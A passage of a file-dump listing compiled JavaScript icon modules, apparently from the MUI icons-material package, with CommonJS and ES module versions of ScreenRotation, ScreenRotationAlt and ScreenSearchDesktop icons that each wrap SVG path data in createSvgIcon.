    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.48 2.52c3.27 1.55 5.61 4.72 5.97 8.48h1.5C23.44 4.84 18.29 0 12 0l-.66.03 3.81 3.81zm-6.25-.77c-.59-.59-1.54-.59-2.12 0L1.75 8.11c-.59.59-.59 1.54 0 2.12l12.02 12.02c.59.59 1.54.59 2.12 0l6.36-6.36c.59-.59.59-1.54 0-2.12zm4.6 19.44L2.81 9.17l6.36-6.36 12.02 12.02zm-7.31.29C4.25 19.94 1.91 16.76 1.55 13H.05C.56 19.16 5.71 24 12 24l.66-.03-3.81-3.81z\"\n}), 'ScreenRotation');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenRotation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.48 2.52c3.27 1.55 5.61 4.72 5.97 8.48h1.5C23.44 4.84 18.29 0 12 0l-.66.03 3.81 3.81zm-6.25-.77c-.59-.59-1.54-.59-2.12 0L1.75 8.11c-.59.59-.59 1.54 0 2.12l12.02 12.02c.59.59 1.54.59 2.12 0l6.36-6.36c.59-.59.59-1.54 0-2.12zm4.6 19.44L2.81 9.17l6.36-6.36 12.02 12.02zm-7.31.29C4.25 19.94 1.91 16.76 1.55 13H.05C.56 19.16 5.71 24 12 24l.66-.03-3.81-3.81z\"\n}), 'ScreenRotation');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenRotationAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4 7.59 5-5c.78-.78 2.05-.78 2.83 0L20.24 11h-2.83L10.4 4 5.41 9H8v2H2V5h2zM20 19h2v-6h-6v2h2.59l-4.99 5-7.01-7H3.76l8.41 8.41c.78.78 2.05.78 2.83 0l5-5z\"\n}), 'ScreenRotationAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenRotationAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4 7.59 5-5c.78-.78 2.05-.78 2.83 0L20.24 11h-2.83L10.4 4 5.41 9H8v2H2V5h2zM20 19h2v-6h-6v2h2.59l-4.99 5-7.01-7H3.76l8.41 8.41c.78.78 2.05.78 2.83 0l5-5z\"\n}), 'ScreenRotationAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenRotationAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4 7.59 5-5c.78-.78 2.05-.78 2.83 0L20.24 11h-2.83L10.4 4 5.41 9H8v2H2V5h2zM20 19h2v-6h-6v2h2.59l-4.99 5-7.01-7H3.76l8.41 8.41c.78.78 2.05.78 2.83 0l5-5z\"\n}), 'ScreenRotationAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenRotationAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4 7.59 5-5c.78-.78 2.05-.78 2.83 0L20.24 11h-2.83L10.4 4 5.41 9H8v2H2V5h2zM20 19h2v-6h-6v2h2.59l-4.99 5-7.01-7H3.76l8.41 8.41c.78.78 2.05.78 2.83 0l5-5z\"\n}), 'ScreenRotationAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenRotationAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.53 9.29c.63.63.18 1.71-.71 1.71-.27 0-.52-.11-.71-.29L10.4 4 5.41 9H7c.55 0 1 .45 1 1s-.45 1-1 1H3c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1s1 .45 1 1v1.59l5-5c.78-.78 2.05-.78 2.83 0zM5.47 14.71c-.63-.63-.18-1.71.71-1.71.27 0 .52.11.71.29L13.6 20l4.99-5H17c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1s-1-.45-1-1v-1.59l-5 5c-.78.78-2.05.78-2.83 0z\"\n}), 'ScreenRotationAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenRotationAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.53 9.29c.63.63.18 1.71-.71 1.71-.27 0-.52-.11-.71-.29L10.4 4 5.41 9H7c.55 0 1 .45 1 1s-.45 1-1 1H3c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1s1 .45 1 1v1.59l5-5c.78-.78 2.05-.78 2.83 0zM5.47 14.71c-.63-.63-.18-1.71.71-1.71.27 0 .52.11.71.29L13.6 20l4.99-5H17c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1s-1-.45-1-1v-1.59l-5 5c-.78.78-2.05.78-2.83 0z\"\n}), 'ScreenRotationAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenRotationAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4 7.59 6.41-6.41L20.24 11h-2.83L10.4 4 5.41 9H8v2H2V5h2zM20 19h2v-6h-6v2h2.59l-4.99 5-7.01-7H3.76l9.83 9.83L20 16.41z\"\n}), 'ScreenRotationAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenRotationAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4 7.59 6.41-6.41L20.24 11h-2.83L10.4 4 5.41 9H8v2H2V5h2zM20 19h2v-6h-6v2h2.59l-4.99 5-7.01-7H3.76l9.83 9.83L20 16.41z\"\n}), 'ScreenRotationAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenRotationAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4 7.59 5-5c.78-.78 2.05-.78 2.83 0L20.24 11h-2.83L10.4 4 5.41 9H8v2H2V5h2zM20 19h2v-6h-6v2h2.59l-4.99 5-7.01-7H3.76l8.41 8.41c.78.78 2.05.78 2.83 0l5-5z\"\n}), 'ScreenRotationAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenRotationAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4 7.59 5-5c.78-.78 2.05-.78 2.83 0L20.24 11h-2.83L10.4 4 5.41 9H8v2H2V5h2zM20 19h2v-6h-6v2h2.59l-4.99 5-7.01-7H3.76l8.41 8.41c.78.78 2.05.78 2.83 0l5-5z\"\n}), 'ScreenRotationAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenRotationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.48 2.52c3.27 1.55 5.61 4.72 5.97 8.48h1.5C23.44 4.84 18.29 0 12 0l-.66.03 3.81 3.81zm-6.25-.77c-.59-.59-1.54-.59-2.12 0L1.75 8.11c-.59.59-.59 1.54 0 2.12l12.02 12.02c.59.59 1.54.59 2.12 0l6.36-6.36c.59-.59.59-1.54 0-2.12zm4.6 19.44L2.81 9.17l6.36-6.36 12.02 12.02zm-7.31.29C4.25 19.94 1.91 16.76 1.55 13H.05C.56 19.16 5.71 24 12 24l.66-.03-3.81-3.81z\"\n}), 'ScreenRotationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenRotationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.48 2.52c3.27 1.55 5.61 4.72 5.97 8.48h1.5C23.44 4.84 18.29 0 12 0l-.66.03 3.81 3.81zm-6.25-.77c-.59-.59-1.54-.59-2.12 0L1.75 8.11c-.59.59-.59 1.54 0 2.12l12.02 12.02c.59.59 1.54.59 2.12 0l6.36-6.36c.59-.59.59-1.54 0-2.12zm4.6 19.44L2.81 9.17l6.36-6.36 12.02 12.02zm-7.31.29C4.25 19.94 1.91 16.76 1.55 13H.05C.56 19.16 5.71 24 12 24l.66-.03-3.81-3.81z\"\n}), 'ScreenRotationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenRotationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.23 1.75c-.59-.59-1.54-.59-2.12 0L1.75 8.11c-.59.59-.59 1.54 0 2.12l12.02 12.02c.59.59 1.54.59 2.12 0l6.36-6.36c.59-.59.59-1.54 0-2.12zm3.89 18.73L3.52 9.88a.996.996 0 0 1 0-1.41l4.95-4.95c.39-.39 1.02-.39 1.41 0l10.61 10.61c.39.39.39 1.02 0 1.41l-4.95 4.95c-.39.38-1.03.38-1.42-.01M17.61 1.4C16.04.57 14.06-.03 11.81.02c-.18 0-.26.22-.14.35l3.48 3.48 1.33-1.33c3.09 1.46 5.34 4.37 5.89 7.86.06.41.44.69.86.62.41-.06.69-.45.62-.86-.6-3.8-2.96-7-6.24-8.74M8.85 20.16l-1.33 1.33c-3.09-1.46-5.34-4.37-5.89-7.86-.06-.41-.44-.69-.86-.62-.41.06-.69.45-.62.86.6 3.81 2.96 7.01 6.24 8.75 1.57.83 3.55 1.43 5.8 1.38.18 0 .26-.22.14-.35z\"\n}), 'ScreenRotationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenRotationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.23 1.75c-.59-.59-1.54-.59-2.12 0L1.75 8.11c-.59.59-.59 1.54 0 2.12l12.02 12.02c.59.59 1.54.59 2.12 0l6.36-6.36c.59-.59.59-1.54 0-2.12zm3.89 18.73L3.52 9.88a.996.996 0 0 1 0-1.41l4.95-4.95c.39-.39 1.02-.39 1.41 0l10.61 10.61c.39.39.39 1.02 0 1.41l-4.95 4.95c-.39.38-1.03.38-1.42-.01M17.61 1.4C16.04.57 14.06-.03 11.81.02c-.18 0-.26.22-.14.35l3.48 3.48 1.33-1.33c3.09 1.46 5.34 4.37 5.89 7.86.06.41.44.69.86.62.41-.06.69-.45.62-.86-.6-3.8-2.96-7-6.24-8.74M8.85 20.16l-1.33 1.33c-3.09-1.46-5.34-4.37-5.89-7.86-.06-.41-.44-.69-.86-.62-.41.06-.69.45-.62.86.6 3.81 2.96 7.01 6.24 8.75 1.57.83 3.55 1.43 5.8 1.38.18 0 .26-.22.14-.35z\"\n}), 'ScreenRotationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenRotationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.48 2.52c3.27 1.55 5.61 4.72 5.97 8.48h1.5C23.44 4.84 18.29 0 12 0l-.66.03 3.81 3.81zM7.52 21.48C4.25 19.94 1.91 16.76 1.55 13H.05C.56 19.16 5.71 24 12 24l.66-.03-3.81-3.81zM9.17.69.69 9.17l14.14 14.14 8.48-8.48zm5.66 20.5L2.81 9.17l6.36-6.36 12.02 12.02z\"\n}), 'ScreenRotationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenRotationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.48 2.52c3.27 1.55 5.61 4.72 5.97 8.48h1.5C23.44 4.84 18.29 0 12 0l-.66.03 3.81 3.81zM7.52 21.48C4.25 19.94 1.91 16.76 1.55 13H.05C.56 19.16 5.71 24 12 24l.66-.03-3.81-3.81zM9.17.69.69 9.17l14.14 14.14 8.48-8.48zm5.66 20.5L2.81 9.17l6.36-6.36 12.02 12.02z\"\n}), 'ScreenRotationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenRotationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.828 21.192 2.808 9.172l6.357-6.357 12.02 12.02z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.48 2.52c3.27 1.55 5.61 4.72 5.97 8.48h1.5C23.44 4.84 18.29 0 12 0l-.66.03 3.81 3.81zm-6.25-.77c-.59-.59-1.54-.59-2.12 0L1.75 8.11c-.59.59-.59 1.54 0 2.12l12.02 12.02c.59.59 1.54.59 2.12 0l6.36-6.36c.59-.59.59-1.54 0-2.12zm4.6 19.44L2.81 9.17l6.36-6.36 12.02 12.02zm-7.31.29C4.25 19.94 1.91 16.76 1.55 13H.05C.56 19.16 5.71 24 12 24l.66-.03-3.81-3.81z\"\n}, \"1\")], 'ScreenRotationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenRotationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.828 21.192 2.808 9.172l6.357-6.357 12.02 12.02z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.48 2.52c3.27 1.55 5.61 4.72 5.97 8.48h1.5C23.44 4.84 18.29 0 12 0l-.66.03 3.81 3.81zm-6.25-.77c-.59-.59-1.54-.59-2.12 0L1.75 8.11c-.59.59-.59 1.54 0 2.12l12.02 12.02c.59.59 1.54.59 2.12 0l6.36-6.36c.59-.59.59-1.54 0-2.12zm4.6 19.44L2.81 9.17l6.36-6.36 12.02 12.02zm-7.31.29C4.25 19.94 1.91 16.76 1.55 13H.05C.56 19.16 5.71 24 12 24l.66-.03-3.81-3.81z\"\n}, \"1\")], 'ScreenRotationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenSearchDesktop.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 6c0-1.11-.9-2-2-2H4c-1.11 0-2 .89-2 2v10c0 1.1.89 2 2 2H0v2h24v-2zM4 16V6h16v10.01zm5.0967-6.0469c0-1.027.836-1.864 1.864-1.864 1.027 0 1.864.837 1.864 1.864s-.837 1.864-1.864 1.864c-1.028 0-1.864-.837-1.864-1.864m7.032 4.236-2.482-2.482c.331-.505.527-1.107.527-1.754 0-1.772-1.441-3.213-3.213-3.213s-3.214 1.441-3.214 3.213 1.442 3.214 3.214 3.214c.636 0 1.225-.192 1.724-.511l2.489 2.488z\"\n}), 'ScreenSearchDesktop');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenSearchDesktop.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 6c0-1.11-.9-2-2-2H4c-1.11 0-2 .89-2 2v10c0 1.1.89 2 2 2H0v2h24v-2zM4 16V6h16v10.01zm5.0967-6.0469c0-1.027.836-1.864 1.864-1.864 1.027 0 1.864.837 1.864 1.864s-.837 1.864-1.864 1.864c-1.028 0-1.864-.837-1.864-1.864m7.032 4.236-2.482-2.482c.331-.505.527-1.107.527-1.754 0-1.772-1.441-3.213-3.213-3.213s-3.214 1.441-3.214 3.213 1.442 3.214 3.214 3.214c.636 0 1.225-.192 1.724-.511l2.489 2.488z\"\n}), 'ScreenSearchDesktop');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenSearchDesktopOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h16c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2M4 5h16v11H4zM1 19h22v2H1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.97 7.53c-1.37-1.37-3.58-1.37-4.95 0s-1.37 3.58 0 4.95c1.18 1.18 3 1.34 4.36.47l2.09 2.09 1.06-1.06-2.09-2.09c.87-1.36.72-3.18-.47-4.36m-1.06 3.88c-.78.78-2.05.78-2.83 0s-.78-2.05 0-2.83 2.05-.78 2.83 0c.78.79.78 2.05 0 2.83\"\n}, \"1\")], 'ScreenSearchDesktopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenSearchDesktopOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h16c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2M4 5h16v11H4zM1 19h22v2H1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.97 7.53c-1.37-1.37-3.58-1.37-4.95 0s-1.37 3.58 0 4.95c1.18 1.18 3 1.34 4.36.47l2.09 2.09 1.06-1.06-2.09-2.09c.87-1.36.72-3.18-.47-4.36m-1.06 3.88c-.78.78-2.05.78-2.83 0s-.78-2.05 0-2.83 2.05-.78 2.83 0c.78.79.78 2.05 0 2.83\"\n}, \"1\")], 'ScreenSearchDesktopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenSearchDesktopRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 19H2c-.55 0-1 .45-1 1s.45 1 1 1h20c.55 0 1-.45 1-1s-.45-1-1-1M4 18h16c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2m4.59-9.95c1.28-1.87 3.86-2.05 5.38-.52 1.18 1.18 1.34 3 .47 4.36L16 13.44c.29.29.29.77 0 1.06s-.77.29-1.06 0l-1.55-1.55c-1.57 1-3.76.64-4.87-1.11-.73-1.14-.69-2.67.07-3.79\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11.5\",\n  cy: \"10\",\n  r: \"2\"\n}, \"1\")], 'ScreenSearchDesktopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenSearchDesktopRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 19H2c-.55 0-1 .45-1 1s.45 1 1 1h20c.55 0 1-.45 1-1s-.45-1-1-1M4 18h16c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2m4.59-9.95c1.28-1.87 3.86-2.05 5.38-.52 1.18 1.18 1.34 3 .47 4.36L16 13.44c.29.29.29.77 0 1.06s-.77.29-1.06 0l-1.55-1.55c-1.57 1-3.76.64-4.87-1.11-.73-1.14-.69-2.67.07-3.79\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11.5\",\n  cy: \"10\",\n  r: \"2\"\n}, \"1\")], 'ScreenSearchDesktopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenSearchDesktopSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 19h22v2H1zM22 3H2v15h19.99zm-6.53 12.03-2.09-2.09c-1.35.87-3.17.71-4.36-.47-1.37-1.37-1.37-3.58 0-4.95s3.58-1.37 4.95 0c1.18 1.18 1.34 3 .47 4.36l2.09 2.09z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11.5\",\n  cy: \"10\",\n  r: \"2\"\n}, \"1\")], 'ScreenSearchDesktopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenSearchDesktopSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 19h22v2H1zM22 3H2v15h19.99zm-6.53 12.03-2.09-2.09c-1.35.87-3.17.71-4.36-.47-1.37-1.37-1.37-3.58 0-4.95s3.58-1.37 4.95 0c1.18 1.18 1.34 3 .47 4.36l2.09 2.09z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11.5\",\n  cy: \"10\",\n  r: \"2\"\n}, \"1\")], 'ScreenSearchDesktopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenSearchDesktopTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5H4v11h16zm-4.53 10.03-2.09-2.09c-1.35.87-3.17.71-4.36-.47-1.37-1.37-1.37-3.58 0-4.95s3.58-1.37 4.95 0c1.18 1.18 1.34 3 .47 4.36l2.09 2.09z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h16c1.1 0 1.99-.9 1.99-2L22 5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2M4 5h16v11H4zM1 19h22v2H1z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.97 7.53c-1.37-1.37-3.58-1.37-4.95 0s-1.37 3.58 0 4.95c1.18 1.18 3 1.34 4.36.47l2.09 2.09 1.06-1.06-2.09-2.09c.87-1.36.72-3.18-.47-4.36m-1.06 3.88c-.78.78-2.05.78-2.83 0s-.78-2.05 0-2.83 2.05-.78 2.83 0c.78.79.78 2.05 0 2.83\"\n}, \"2\")], 'ScreenSearchDesktopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenSearchDesktopTwoTone.mjs",
